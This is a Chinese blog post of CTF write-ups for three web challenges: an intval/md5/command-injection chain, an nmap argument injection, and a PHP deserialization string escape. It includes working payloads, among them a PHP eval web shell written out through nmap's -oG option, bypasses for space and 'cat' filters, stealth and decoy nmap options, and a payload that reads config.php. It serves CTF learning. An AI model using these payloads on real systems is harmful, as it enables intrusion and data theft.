BUU刷题Day8

本文回顾了几个CTF比赛中的挑战,涉及Web安全的多个方面,如PHP的intval处理、RCE绕过方法、Nmap扫描技巧以及反序列化漏洞利用。通过这些实例,作者展示了如何分析源代码、利用字符串逃逸和过滤机制进行攻击,并总结了相关知识点。
摘要由CSDN通过智能技术生成

目录

[WUSTCTF2020]朴实无华

总结:

[网鼎杯 2020 朱雀组]Nmap

总结:

[0CTF 2016]piapiapia

总结:


[WUSTCTF2020]朴实无华

好家伙,上来让我黑他,有判头!

robots.txt下面有提示,让我打开

好家伙,buu第二页的题不能就这么出了,应该是套娃!

我就说没这么好心!源代码和控制台啥也找不到,抓包看看头吧

正在上传…重新上传取消

这不就来了!!!!look_at_me~!~~

游戏才刚刚开始!还给我乱码!火狐有解码!

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
​
​
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
​
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

审!

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

秉着没见过什么什么就是考点的原则,没见过intval,intval — 获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

所以第一关就完事

?num=0x1234

来到第二层

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧"); 

需要md5后的值和本身的值相等,以前md5套娃做过,翻笔记得到0e215962017

当然可以脚本跑

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                find=[]
                print('find it:',text,":",m)
                find = find.append(text)
        i +=1
    return find
​
t = run()
print(t)

最后一关!

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

ls看到flag就在当前目录

ban了cat和空格

${IFS}、$IFS$9、<、>、<>、{,}、%20(space)、%09、|等可以代替空格

绕过cat

  • c''at c""at ca$@t

  • tac 从最后一行倒序显示内容,并将所有内容输出

  • more 根据窗口大小,一页一页的现实文件内容

  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

  • head 只显示头几行

  • tail 只显示最后几行

  • nl 类似于cat -n,显示时输出行号

  • tailf 类似于tail -f

  • vi编辑有时候可能回显

  • 使用127.0.0.1|tail (flag文件名)

总结:

复习了一下rce绕过的方法

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

[网鼎杯 2020 朱雀组]Nmap

打开看到页面,好cool!!!猜它是rce!

正在上传…重新上传取消

尝试一下,虽然知道要失败,但是还是要尝试!看到|被\转义了

正在上传…重新上传取消

想起来了前面做的[BUUCTF 2018]Online Tool

那个的payload是

' <?php @eval($_POST["cmd"]);?> -oG fuck.php '

回显hack,应该是被ban了,fuzz一下发现是php

' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '

咱就是说,咱又不是绕不过去,再加上IP!

127.0.0.1  | ' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '

蚁剑连接!下一题!

总结:

复习一下nmap?

nmap -v 127.0.0.1                           给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt                       运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100    使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101                       启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1                           使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101                      扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101                      扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*                        找出网络中的在线主机
nmap -F 192.168.0.101                       快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4                        使用小数据包发送,避免被识别出
nmap -r 192.168.0.101                       不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101                使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101                      查找主机服务版本号
nmap -PS 192.168.0.101                      使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4                       目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4                       对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101                      执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101                      使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101                      执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip                      使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml            对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4                     设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4               发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4                  发送参杂着假ip的数据包检测
继续中断扫描:
    nmap –oG 1.txt –v 192.168.1.1/24            -oG将扫描结果保存为TXT,Ctrl+C中断扫描
    Nmap –resume 1.txt                          作用:继续扫描

正在上传…重新上传取消

写🐎yyds!!

[0CTF 2016]piapiapia

经历了小风小浪的洗礼,我终于不是那个见到登录框就疯狂注入注入的傻孩子了!现在的我!先看源代码再看F12然后一边扫描一边注入,扫到了/www.zip可以down源码!

down下来后发现了register.php注册完登陆进去发现了上传点,打开update.php审计一下!

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
​
        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
​
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
​
        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
​
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);
​
        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
 

好多正则匹配,,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。

前面有一个题是反序列化字符逃逸,这个题也是!

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

 public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
​
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

我们再继续追寻下去

filter()

 public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
​
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'

我们再看看profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,反序列字符逃逸。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

总结:

复习反序列化!

复习字符串逃逸!

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值